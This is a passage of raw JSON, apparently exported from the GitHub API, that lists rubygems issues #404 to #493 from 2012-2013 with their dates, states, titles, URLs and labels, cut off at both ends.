install"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMS0yOVQyMjoxNTo1Ny0wNTowMM4Ahuef","node":{"number":404,"createdAt":"2012-11-30T03:15:57Z","closedAt":"2012-11-30T05:10:18Z","updatedAt":"2014-07-30T20:59:03Z","state":"CLOSED","title":"NoMethodError: private method `open'' called for Gem::Package:Class bug with bundler and latest rubygems (1.8.24 works fine)","url":"https://github.com/rubygems/rubygems/issues/404","labels":{"nodes":[{"name":"category: API"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMS0zMFQxNTozNzo1My0wNTowMM4Ah2PE","node":{"number":405,"createdAt":"2012-11-30T20:37:53Z","closedAt":"2013-02-06T22:22:02Z","updatedAt":"2013-08-01T07:17:36Z","state":"CLOSED","title":"Conflict when installing binstubs of gems that have default versions","url":"https://github.com/rubygems/rubygems/issues/405","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0wMVQwOToxMzozNC0wNTowMM4Ah71V","node":{"number":407,"createdAt":"2012-12-01T14:13:34Z","closedAt":"2013-02-07T22:14:18Z","updatedAt":"2016-01-21T18:10:51Z","state":"CLOSED","title":"gem install fails if I''m trying to install a gem and in current dir I have a directory with the same name","url":"https://github.com/rubygems/rubygems/issues/407","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0wMVQxNjozMzo1OC0wNTowMM4Ah9w7","node":{"number":408,"createdAt":"2012-12-01T21:33:58Z","closedAt":"2012-12-08T03:50:11Z","updatedAt":"2012-12-08T03:50:11Z","state":"CLOSED","title":"Rubygems 2.0 is noisy on gem cleanup","url":"https://github.com/rubygems/rubygems/issues/408","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0wNFQxNzoxNDoyMS0wNTowMM4AiVcg","node":{"number":410,"createdAt":"2012-12-04T22:14:21Z","closedAt":"2012-12-08T04:32:11Z","updatedAt":"2012-12-08T04:32:11Z","state":"CLOSED","title":"gem search doesn''t return any results on 2.0.0.preview2","url":"https://github.com/rubygems/rubygems/issues/410","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0wN1QwNjoxNToxNi0wNTowMM4AiqAE","node":{"number":411,"createdAt":"2012-12-07T11:15:16Z","closedAt":"2012-12-07T21:25:34Z","updatedAt":"2013-04-19T20:21:26Z","state":"CLOSED","title":"Problem installing ruby-termios with ruby-2.0.0-preview2","url":"https://github.com/rubygems/rubygems/issues/411","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0wOFQxOTowNjoxNC0wNTowMM4Aixou","node":{"number":413,"createdAt":"2012-12-09T00:06:14Z","closedAt":"2012-12-10T00:11:57Z","updatedAt":"2012-12-10T00:13:17Z","state":"CLOSED","title":"Packager should ignore directories in spec.files for back-compat with old gemspecs","url":"https://github.com/rubygems/rubygems/issues/413","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0xMFQwMzo1MDoyNi0wNTowMM4Ai1gv","node":{"number":414,"createdAt":"2012-12-10T08:50:26Z","closedAt":"2012-12-14T04:51:16Z","updatedAt":"2012-12-14T04:51:16Z","state":"CLOSED","title":"html documentation is not generated by gem server","url":"https://github.com/rubygems/rubygems/issues/414","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0xMFQxODozMjoyMS0wNTowMM4Ai9MN","node":{"number":415,"createdAt":"2012-12-10T23:32:21Z","closedAt":"2015-09-25T04:21:31Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"Install Gem As It Was At Particular Point in Time","url":"https://github.com/rubygems/rubygems/issues/415","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0xMVQxNDo0MToyMy0wNTowMM4AjEHz","node":{"number":416,"createdAt":"2012-12-11T19:41:23Z","closedAt":"2012-12-11T19:42:21Z","updatedAt":"2012-12-11T19:44:53Z","state":"CLOSED","title":":git and :require=>false options don''t work together","url":"https://github.com/rubygems/rubygems/issues/416","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0xM1QxMToyNzowMC0wNTowMM4AjUDr","node":{"number":417,"createdAt":"2012-12-13T16:27:00Z","closedAt":"2012-12-13T19:01:43Z","updatedAt":"2012-12-13T23:17:48Z","state":"CLOSED","title":"add \"Gittip\" link to gem pages","url":"https://github.com/rubygems/rubygems/issues/417","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0yMVQxNjowNDo0Mi0wNTowMM4AkJcU","node":{"number":418,"createdAt":"2012-12-21T21:04:42Z","closedAt":"2012-12-22T20:33:15Z","updatedAt":"2012-12-22T21:14:19Z","state":"CLOSED","title":"Pushing gems from preview2.2 raises exception","url":"https://github.com/rubygems/rubygems/issues/418","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0xMi0yMVQxNjo1NDo0My0wNTowMM4AkJrs","node":{"number":419,"createdAt":"2012-12-21T21:54:43Z","closedAt":"2012-12-22T23:29:17Z","updatedAt":"2012-12-22T23:29:17Z","state":"CLOSED","title":"rubygems can''t uninstall gems that have broken specifications","url":"https://github.com/rubygems/rubygems/issues/419","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0wMVQwNjoyNDoyMi0wNTowMM4AkoKY","node":{"number":421,"createdAt":"2013-01-01T11:24:22Z","closedAt":"2013-01-01T22:40:57Z","updatedAt":"2013-01-01T22:40:57Z","state":"CLOSED","title":"bundler does not see my just pushed gem to rubygems.org","url":"https://github.com/rubygems/rubygems/issues/421","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0wMlQxNzowOToxNC0wNTowMM4Aku4s","node":{"number":422,"createdAt":"2013-01-02T22:09:14Z","closedAt":"2013-01-04T22:46:44Z","updatedAt":"2013-01-04T22:46:44Z","state":"CLOSED","title":"gem cleanup topological sort failing","url":"https://github.com/rubygems/rubygems/issues/422","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0wN1QyMDo0Mjo1Mi0wNTowMM4AlNnf","node":{"number":423,"createdAt":"2013-01-08T01:42:52Z","closedAt":"2013-01-08T01:47:00Z","updatedAt":"2014-03-28T23:58:54Z","state":"CLOSED","title":"Mysql::Error: #08S01Bad handshake","url":"https://github.com/rubygems/rubygems/issues/423","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0xMVQxNTowMzo0Ny0wNTowMM4AlvMH","node":{"number":425,"createdAt":"2013-01-11T20:03:47Z","closedAt":"2013-01-14T18:56:40Z","updatedAt":"2013-01-14T18:56:58Z","state":"CLOSED","title":"gempath is right in gem environment but wrong in ruby","url":"https://github.com/rubygems/rubygems/issues/425","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0xMlQxMDo1MjoyMS0wNTowMM4Alz3H","node":{"number":426,"createdAt":"2013-01-12T15:52:21Z","closedAt":"2013-07-19T22:52:09Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"can''t override make when ruby is compiled with --with-make-prog","url":"https://github.com/rubygems/rubygems/issues/426","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0xN1QwMzoxMjozOS0wNTowMM4AmVcq","node":{"number":428,"createdAt":"2013-01-17T08:12:39Z","closedAt":"2013-01-17T08:38:25Z","updatedAt":"2013-03-04T13:52:43Z","state":"CLOSED","title":"ERROR: stack level too deep (SystemStackError) in WIndows + Cygwin","url":"https://github.com/rubygems/rubygems/issues/428","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0xOFQxNToxNToyNC0wNTowMM4Amkqd","node":{"number":429,"createdAt":"2013-01-18T20:15:24Z","closedAt":"2013-01-18T20:28:45Z","updatedAt":"2013-12-02T17:10:18Z","state":"CLOSED","title":"don''t obey umask when installing gems","url":"https://github.com/rubygems/rubygems/issues/429","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0xOVQyMjozODoxNC0wNTowMM4AmpyA","node":{"number":430,"createdAt":"2013-01-20T03:38:14Z","closedAt":"2013-04-04T01:09:04Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"Change rubygems gemspec cache directory (~/.gem/specs)","url":"https://github.com/rubygems/rubygems/issues/430","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0yMlQwNDowODoxNS0wNTowMM4Am2mA","node":{"number":431,"createdAt":"2013-01-22T09:08:15Z","closedAt":"2013-02-05T00:03:04Z","updatedAt":"2013-02-05T00:03:04Z","state":"CLOSED","title":"gem push doesn''t read the --host option if credentials are missing","url":"https://github.com/rubygems/rubygems/issues/431","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0yMlQxODo0Njo0My0wNTowMM4Am98F","node":{"number":432,"createdAt":"2013-01-22T23:46:43Z","closedAt":"2013-01-23T00:35:05Z","updatedAt":"2013-01-23T00:35:05Z","state":"CLOSED","title":"native extensions problem in Haiku","url":"https://github.com/rubygems/rubygems/issues/432","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0yM1QwNzozMToxMC0wNTowMM4AnBrF","node":{"number":433,"createdAt":"2013-01-23T12:31:10Z","closedAt":"2013-01-25T08:47:54Z","updatedAt":"2013-01-25T08:47:54Z","state":"CLOSED","title":"Spec deps w/ multiple specifiers don''t round trip properly","url":"https://github.com/rubygems/rubygems/issues/433","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0yNFQyMTozMToxMS0wNTowMM4AnSPI","node":{"number":434,"createdAt":"2013-01-25T02:31:11Z","closedAt":"2016-01-29T21:11:27Z","updatedAt":"2016-01-29T21:11:27Z","state":"CLOSED","title":"Use lazy gem activation everywhere?","url":"https://github.com/rubygems/rubygems/issues/434","labels":{"nodes":[{"name":"status: blocked / backlog"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMS0yNlQyMjowNDo1OC0wNTowMM4AneED","node":{"number":436,"createdAt":"2013-01-27T03:04:58Z","closedAt":"2013-02-05T00:45:06Z","updatedAt":"2013-02-05T00:45:06Z","state":"CLOSED","title":"Cannot build json native extension","url":"https://github.com/rubygems/rubygems/issues/436","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0wMlQxNzozOTozNi0wNTowMM4AoWfT","node":{"number":437,"createdAt":"2013-02-02T22:39:36Z","closedAt":"2013-02-02T22:56:41Z","updatedAt":"2013-02-02T22:57:24Z","state":"CLOSED","title":"GPG?","url":"https://github.com/rubygems/rubygems/issues/437","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0wM1QxNTo0ODoyMS0wNTowMM4AoZTe","node":{"number":439,"createdAt":"2013-02-03T20:48:21Z","closedAt":"2013-02-04T01:30:54Z","updatedAt":"2013-02-04T01:36:20Z","state":"CLOSED","title":"gem uninstall --force should force uninstall gems even if they are dependencies of others","url":"https://github.com/rubygems/rubygems/issues/439","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0wNFQxNzoxMToyOC0wNTowMM4AoixS","node":{"number":440,"createdAt":"2013-02-04T22:11:28Z","closedAt":"2013-02-04T22:13:40Z","updatedAt":"2013-02-04T22:13:40Z","state":"CLOSED","title":"Latest version of Ordr.in gem not picking up from RubyGems","url":"https://github.com/rubygems/rubygems/issues/440","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0wNVQxNDoyMjozNi0wNTowMM4AorZc","node":{"number":441,"createdAt":"2013-02-05T19:22:36Z","closedAt":"2013-02-05T19:44:05Z","updatedAt":"2013-02-05T21:13:02Z","state":"CLOSED","title":"Hooks For RubyGems Plugins","url":"https://github.com/rubygems/rubygems/issues/441","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0wN1QxNDo0ODo0NS0wNTowMM4ApBK1","node":{"number":445,"createdAt":"2013-02-07T19:48:45Z","closedAt":"2013-02-08T03:01:20Z","updatedAt":"2013-02-08T03:01:20Z","state":"CLOSED","title":"Error trying to build signed gems on master","url":"https://github.com/rubygems/rubygems/issues/445","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0wOFQwNjowNToxNi0wNTowMM4ApGvX","node":{"number":446,"createdAt":"2013-02-08T11:05:16Z","closedAt":"2013-02-08T17:54:57Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"Accept --include-dependencies","url":"https://github.com/rubygems/rubygems/issues/446","labels":{"nodes":[{"name":"category: command"},{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0wOFQxNjozOTo0Ni0wNTowMM4ApL7y","node":{"number":448,"createdAt":"2013-02-08T21:39:46Z","closedAt":null,"updatedAt":"2016-06-09T09:21:15Z","state":"OPEN","title":"$ gem install should look for dependencies in the same directory as the dependant gem","url":"https://github.com/rubygems/rubygems/issues/448","labels":{"nodes":[{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0xMVQxMDo1NjozNS0wNTowMM4ApeCg","node":{"number":449,"createdAt":"2013-02-11T15:56:35Z","closedAt":"2013-02-11T19:06:27Z","updatedAt":"2013-02-11T19:06:27Z","state":"CLOSED","title":"even after editing Gemfile in related folder, error...","url":"https://github.com/rubygems/rubygems/issues/449","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0xMlQxMzo1NTowMC0wNTowMM4App+K","node":{"number":450,"createdAt":"2013-02-12T18:55:00Z","closedAt":"2013-02-12T21:04:14Z","updatedAt":"2013-02-12T21:04:14Z","state":"CLOSED","title":"Gem.gzip should return a binary string rather than default encoding","url":"https://github.com/rubygems/rubygems/issues/450","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0xM1QxNzozMjoyOC0wNTowMM4Ap3kS","node":{"number":454,"createdAt":"2013-02-13T22:32:28Z","closedAt":"2017-03-11T20:55:43Z","updatedAt":"2017-03-11T20:55:43Z","state":"CLOSED","title":"Proposal for new RubyGems index format","url":"https://github.com/rubygems/rubygems/issues/454","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0xOFQxMDozNzoyNi0wNTowMM4Aqars","node":{"number":457,"createdAt":"2013-02-18T15:37:26Z","closedAt":"2013-06-15T00:05:53Z","updatedAt":"2013-06-15T00:05:53Z","state":"CLOSED","title":"build_info_file does not respect --install-dir option","url":"https://github.com/rubygems/rubygems/issues/457","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0xOFQxMDozODoxNC0wNTowMM4AqasS","node":{"number":458,"createdAt":"2013-02-18T15:38:14Z","closedAt":"2013-06-21T19:40:42Z","updatedAt":"2013-06-21T19:40:42Z","state":"CLOSED","title":"The build_info_file is not uninstalled","url":"https://github.com/rubygems/rubygems/issues/458","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0xOFQxMTozNTozMC0wNTowMM4AqbQ4","node":{"number":459,"createdAt":"2013-02-18T16:35:30Z","closedAt":"2013-06-15T00:11:49Z","updatedAt":"2013-06-15T00:11:49Z","state":"CLOSED","title":"Do not store build info file for pure ruby gems","url":"https://github.com/rubygems/rubygems/issues/459","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yMFQwODo0NTo1MC0wNTowMM4AqtvE","node":{"number":460,"createdAt":"2013-02-20T13:45:50Z","closedAt":"2013-02-25T06:52:04Z","updatedAt":"2013-02-25T06:52:04Z","state":"CLOSED","title":"released gem not available. failed to push to s3","url":"https://github.com/rubygems/rubygems/issues/460","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yMlQxNjowMjoyNy0wNTowMM4ArIHH","node":{"number":461,"createdAt":"2013-02-22T21:02:27Z","closedAt":"2013-04-04T00:14:10Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"Add --host option to owner command","url":"https://github.com/rubygems/rubygems/issues/461","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yNFQwMzoxMjoxNC0wNTowMM4ArOe/","node":{"number":463,"createdAt":"2013-02-24T08:12:14Z","closedAt":"2013-06-15T00:13:39Z","updatedAt":"2013-06-15T00:13:39Z","state":"CLOSED","title":"--user-install in gemrc is ignored","url":"https://github.com/rubygems/rubygems/issues/463","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yNFQwMzoxNTo0Ny0wNTowMM4ArOfS","node":{"number":464,"createdAt":"2013-02-24T08:15:47Z","closedAt":"2013-02-24T18:43:13Z","updatedAt":"2013-02-24T18:43:51Z","state":"CLOSED","title":"gem install foo --user-install tries to install executables to a system path","url":"https://github.com/rubygems/rubygems/issues/464","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yNFQyMzo0NTowNS0wNTowMM4ArSPo","node":{"number":465,"createdAt":"2013-02-25T04:45:05Z","closedAt":"2013-02-25T06:55:22Z","updatedAt":"2013-02-25T06:55:38Z","state":"CLOSED","title":"Issue with installation of Rubygems 2.0.0","url":"https://github.com/rubygems/rubygems/issues/465","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yNVQwMjo1Njo1MS0wNTowMM4ArS7C","node":{"number":466,"createdAt":"2013-02-25T07:56:51Z","closedAt":"2013-02-26T00:31:16Z","updatedAt":"2013-04-09T11:20:14Z","state":"CLOSED","title":"incorrect header check","url":"https://github.com/rubygems/rubygems/issues/466","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yNVQxMjowNjoyMS0wNTowMM4ArXb2","node":{"number":467,"createdAt":"2013-02-25T17:06:21Z","closedAt":"2013-02-25T19:06:01Z","updatedAt":"2013-02-25T19:06:01Z","state":"CLOSED","title":"installing rubygems-2.0.0 with rvm ruby-2.0.0 fails","url":"https://github.com/rubygems/rubygems/issues/467","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yNVQxMjoyMToxNS0wNTowMM4ArXnk","node":{"number":468,"createdAt":"2013-02-25T17:21:15Z","closedAt":"2013-02-27T00:34:11Z","updatedAt":"2013-02-27T00:34:11Z","state":"CLOSED","title":"gem install something --pre do not install deps","url":"https://github.com/rubygems/rubygems/issues/468","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yNVQxNDo1Njo0NC0wNTowMM4ArZvM","node":{"number":469,"createdAt":"2013-02-25T19:56:44Z","closedAt":"2013-02-27T03:53:51Z","updatedAt":"2013-02-27T03:53:51Z","state":"CLOSED","title":"When installing with --no-documentation, echos back \"Done installing documentation\", which is confusing","url":"https://github.com/rubygems/rubygems/issues/469","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yNVQxNzoyNjowNy0wNTowMM4ArbRX","node":{"number":470,"createdAt":"2013-02-25T22:26:07Z","closedAt":"2016-03-30T23:08:27Z","updatedAt":"2016-03-30T23:08:28Z","state":"CLOSED","title":"Gem should differentiate between system and user installed.","url":"https://github.com/rubygems/rubygems/issues/470","labels":{"nodes":[{"name":"category: command"},{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yNlQwMTo0MzowNS0wNTowMM4AreS/","node":{"number":472,"createdAt":"2013-02-26T06:43:05Z","closedAt":"2013-02-27T03:22:16Z","updatedAt":"2013-02-27T03:22:16Z","state":"CLOSED","title":"wrong number of arguments calling `wrap` (2 for 1)","url":"https://github.com/rubygems/rubygems/issues/472","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yNlQxMjo1MDo1OS0wNTowMM4ArkFM","node":{"number":473,"createdAt":"2013-02-26T17:50:59Z","closedAt":"2013-02-27T04:02:03Z","updatedAt":"2013-02-27T04:02:03Z","state":"CLOSED","title":"Not able to install multi_json with rubygems 2.0 and ruby 2.0","url":"https://github.com/rubygems/rubygems/issues/473","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yN1QxMjo1NTozMy0wNTowMM4ArvfU","node":{"number":474,"createdAt":"2013-02-27T17:55:33Z","closedAt":"2013-06-26T06:42:01Z","updatedAt":"2016-01-01T21:25:08Z","state":"CLOSED","title":"Should LowSecurity and MediumSecurity produce output showing what is/isn''t signed?","url":"https://github.com/rubygems/rubygems/issues/474","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yN1QxNjoxNzo1NS0wNTowMM4ArxjD","node":{"number":475,"createdAt":"2013-02-27T21:17:55Z","closedAt":"2013-03-07T21:52:06Z","updatedAt":"2013-03-07T21:52:06Z","state":"CLOSED","title":"gem install [gemname] -v [gem_version] -s [gem_repo_source] ignores options if local gem exists","url":"https://github.com/rubygems/rubygems/issues/475","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yOFQxNDo0OTo0My0wNTowMM4Ar7le","node":{"number":476,"createdAt":"2013-02-28T19:49:43Z","closedAt":"2013-03-07T21:51:34Z","updatedAt":"2014-02-02T17:40:22Z","state":"CLOSED","title":"Error when installing gem net-sftp2.0.5","url":"https://github.com/rubygems/rubygems/issues/476","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMi0yOFQyMzozNDo0OC0wNTowMM4Ar/V7","node":{"number":477,"createdAt":"2013-03-01T04:34:48Z","closedAt":"2013-03-05T07:40:47Z","updatedAt":"2013-03-05T07:40:47Z","state":"CLOSED","title":"#438 fails on JRuby + Windows","url":"https://github.com/rubygems/rubygems/issues/477","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wMVQwMTowNzozNC0wNTowMM4Ar/s0","node":{"number":478,"createdAt":"2013-03-01T06:07:34Z","closedAt":"2013-03-05T06:58:05Z","updatedAt":"2013-03-05T06:58:05Z","state":"CLOSED","title":"undefined method `spec'' for nil:NilClass while installing local gem in rubygems 1.8.24","url":"https://github.com/rubygems/rubygems/issues/478","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wMVQwODoyNzozOS0wNTowMM4AsCdM","node":{"number":479,"createdAt":"2013-03-01T13:27:39Z","closedAt":"2013-06-13T00:16:43Z","updatedAt":"2013-06-13T00:16:43Z","state":"CLOSED","title":"Received misleading error message when connecting through ''gated'' wifi","url":"https://github.com/rubygems/rubygems/issues/479","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wMVQxNDo0MzowMy0wNTowMM4AsF93","node":{"number":480,"createdAt":"2013-03-01T19:43:03Z","closedAt":"2013-03-26T23:44:09Z","updatedAt":"2013-04-05T20:54:28Z","state":"CLOSED","title":"Handle 404 for `gem owner`","url":"https://github.com/rubygems/rubygems/issues/480","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wMlQwMjo1NToyNC0wNTowMM4AsJf0","node":{"number":481,"createdAt":"2013-03-02T07:55:24Z","closedAt":"2013-03-05T08:27:11Z","updatedAt":"2013-03-05T08:27:11Z","state":"CLOSED","title":"Rubygems 2.0 requires OpenSSL :(","url":"https://github.com/rubygems/rubygems/issues/481","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wMlQxODoxMTo0Ni0wNTowMM4AsMB+","node":{"number":482,"createdAt":"2013-03-02T23:11:46Z","closedAt":"2013-03-05T06:38:07Z","updatedAt":"2013-03-05T06:38:07Z","state":"CLOSED","title":"gem fetch command creates directories in working directory (v2.0.0)","url":"https://github.com/rubygems/rubygems/issues/482","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wM1QwMzozMDowNi0wNTowMM4AsNPc","node":{"number":483,"createdAt":"2013-03-03T08:30:06Z","closedAt":"2016-01-10T20:54:34Z","updatedAt":"2016-01-10T21:15:49Z","state":"CLOSED","title":"add --dry-run alias -n","url":"https://github.com/rubygems/rubygems/issues/483","labels":{"nodes":[{"name":"category: command"},{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wM1QyMToyNTo1My0wNTowMM4AsQsI","node":{"number":484,"createdAt":"2013-03-04T02:25:53Z","closedAt":"2016-01-29T22:11:32Z","updatedAt":"2016-01-29T22:11:32Z","state":"CLOSED","title":"Proposal: S> \"semantic safe\" requirement operator","url":"https://github.com/rubygems/rubygems/issues/484","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wNFQwOToxMDo1My0wNTowMM4AsU6v","node":{"number":485,"createdAt":"2013-03-04T14:10:53Z","closedAt":"2013-06-25T02:05:55Z","updatedAt":"2017-02-28T06:33:33Z","state":"CLOSED","title":"Gem::DependencyError although dependencies could be resolved","url":"https://github.com/rubygems/rubygems/issues/485","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wNVQxNToyNTozNC0wNTowMM4Askq8","node":{"number":487,"createdAt":"2013-03-05T20:25:34Z","closedAt":"2013-03-05T23:12:43Z","updatedAt":"2013-03-06T09:45:54Z","state":"CLOSED","title":"\"gem list --remote\" is very slow","url":"https://github.com/rubygems/rubygems/issues/487","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wNVQxODoxOTozNy0wNTowMM4AsmUX","node":{"number":488,"createdAt":"2013-03-05T23:19:37Z","closedAt":"2013-03-26T23:40:59Z","updatedAt":"2013-04-05T20:54:28Z","state":"CLOSED","title":"Poor error message with ''gem owner''","url":"https://github.com/rubygems/rubygems/issues/488","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wNlQwMzowNjozMC0wNTowMM4AspO2","node":{"number":491,"createdAt":"2013-03-06T08:06:30Z","closedAt":"2013-03-06T09:12:55Z","updatedAt":"2013-03-06T09:12:55Z","state":"CLOSED","title":"Missing SSL certificates dir.","url":"https://github.com/rubygems/rubygems/issues/491","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wNlQwNjo1NjoxOC0wNTowMM4Asq2q","node":{"number":492,"createdAt":"2013-03-06T11:56:18Z","closedAt":"2013-03-06T16:13:52Z","updatedAt":"2013-03-06T18:47:29Z","state":"CLOSED","title":"`gem install` error: Unable to download data from http://rubygems.org/ - SSL_connect returned=1 errno=0 state=unknown state: unknown protocol (http://rubygems.org/latest_specs.4.8.gz)","url":"https://github.com/rubygems/rubygems/issues/492","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMy0wMy0wNlQwNzoyODo0OC0wNTowMM4AsrEB","node":{"number":493,"createdAt":"2013-03-06T12:28:48Z","closedAt":"2013-03-06T16:08:04Z","updatedAt":"2013-03-13T12:35:48Z","state":"CLOSED","title":"better gem 